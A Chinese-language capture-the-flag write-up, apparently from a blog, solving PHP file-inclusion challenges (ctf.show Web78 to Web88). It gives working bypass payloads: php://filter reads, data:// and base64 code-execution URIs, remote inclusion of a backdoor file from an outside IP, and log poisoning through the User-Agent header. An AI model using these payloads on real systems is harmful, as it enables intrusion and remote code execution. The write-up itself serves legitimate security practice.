竞争包含先不写了,有时间再写。

# Web78

1
2
3
4
5
6
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}

​ 常规文件包含,直接读 flag.php,filter 伪协议:

?file=php://filter/read=convert.base64-encode/resource=flag.php

# Web79:

1
2
3
4
5
6
7
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

​ 这次有点不一样,带了个 str_replace 替换,所以读文件估计危险,打一打另外的操作

?file=data://text/plain,

# Web80:

1
2
3
4
5
6
7
8
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

# 解法一:

​ 远程文件包含,直接在服务器上写一个 txt 文件,之后 http 协议包含即可。

?file=http://39.107.158.17/backdoor.txt

# 解法二:

​ 包含日志文件:

​ 通过 burp 抓包,改 user-agent,在其后面加一个 php 代码,比如 phpinfo,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET / HTTP/1.1
Host: 204e30c6-d77b-4e30-8694-5a79d576baf9.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0 <?php phpinfo();?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Priority: u=0, i
Te: trailers
Connection: close


​ 之后访问?file=/var/log/nginx/access.log 这个文件即可。

# Web81

1
2
3
4
5
6
7
8
9
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

​ 和上一题一样,日志文件包含?file=/var/log/nginx/access.log 这个文件。

# Web88:

1
2
3
4
5
6
7
8
9
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}

​ 没有过滤冒号,豆号,斜杠和分号,data 协议打 base64,去掉末尾的等号:

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKicpOw

更新于

请我喝[茶]~( ̄▽ ̄)~*

g01den 微信支付

微信支付

g01den 支付宝

支付宝

g01den 贝宝

贝宝